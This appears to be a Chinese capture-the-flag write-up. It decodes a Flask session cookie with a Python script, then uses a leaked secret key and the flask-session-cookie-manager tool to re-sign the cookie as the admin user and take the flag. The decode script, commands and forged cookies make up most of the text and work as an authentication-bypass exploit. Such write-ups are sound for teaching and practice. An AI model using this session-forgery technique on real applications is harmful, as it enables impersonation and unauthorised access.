这里的ckj123等下使用脚本时是需要用来作为参数的。
刚刚以 1 用户登进去后给了个session
源代码的意思是:
用户如果以admin的身份登录,就直接可以拿到flag了,所以直接注册账号为admin,密码为123就成功拿到flag了。如果使用脚本的话,就需要伪造session为admin登陆的时候。
这是以用户1登录时的session
.eJxFUMtqg0AU_ZVy11moMRshC2FqsTBXlDHD3E1IjInOIwWTYJyQf69NoV0eDuf5gO1xaC8dJNfh1i5g2x8gecDbHhJAV1n8UCMKsiQzq2RmSGeWRzMW9Z3rxpPADl0eoFcxilOMOh2RbXoSaUTa6oKlYSHrCfWnJVYukVWGi6rjPr8TawISXY9OBT8adOWkRLlCmfUoMlcIdVe-jpSsl6grXQgTorZOuY3h_n1CyUc156Bv1vBcQHMZjtvrl2nP_xPYoSOHeo7tUfOJmIm5zEfSJsZIRUqrFWd5RC6ba_GQe-x4un7Z9W53av-cuLRhW_4y552bCQhhAbdLO7w-gzCA5zeHeWv6.Yyv-hQ.FKxl_VbNWhs_qhLkAV7jzZVTrdI
使用脚本解密,脚本命名为session解密.py
脚本如下:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode())) # 运行时需要输入一个参数
运行得到:
得到如下:
{'_fresh': True, '_id': b'6de4f056eeaeaadf1e3fee51273e3a6b476858860045be06f9c8059e262ed4744d14a321d74e8b6f445b6d2a495ab51f961c56ae764c99569fbed3125c0a0677', 'csrf_token': b'47afcc44b632d981b0f987f6b69026fad13533a0', 'image': b'1iuy', 'name': '1', 'user_id': '10'}
将name的值修改为admin,重新用脚本在进行加密。
脚本下载地址:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
命令如下:
python flask_session_cookie_manager3.py encode -s “ckj123” -t “ ”
ckj123就是最上面源码里面的,算是固定的吧
-t 后双引号里面就放上修改name的值为admin后的序列化字符串。
运行如下:
得到伪造用户为admin的session,如下:
.eJxFUMtqwkAU_ZVy1y6SNG4EF4FpSgpzQ8LEYe5GbIxmXhaiEjPivze10C4Ph_O8w_YwdOceVpfh2i1gq_ewusPLJ6wAfe3wXY0oyJHMnZK5JZM7nsxYNDdu2kACe_RFhEGlKI4pmmxEttEksoSMMyXL4lI2E5oPR6x6RVZbLuqeh-JGrI1I9Bq9in406KtJiWqJMtcocl8KdVOhSZRsXtHUphQ2RuO88hvLw9uEko9qzsHQruGxgPY8HLaXL9ud_iewfU8ezRyr0fCJmE25LEYyNsVEJcqoJWdFQj6fa_GYB-x5tn7aab87dn9OXLq4q36Z087PBOz2Xp9gAddzNzx_gziCxzdIem3S.YywCaw.P16KUe4sMQNjKXmyTSKVCrtGUQc
再在题目里修改session的值,刷新,成功拿到flag
flag{21ec9acc-8c8d-49ad-bccc-7253ac529067}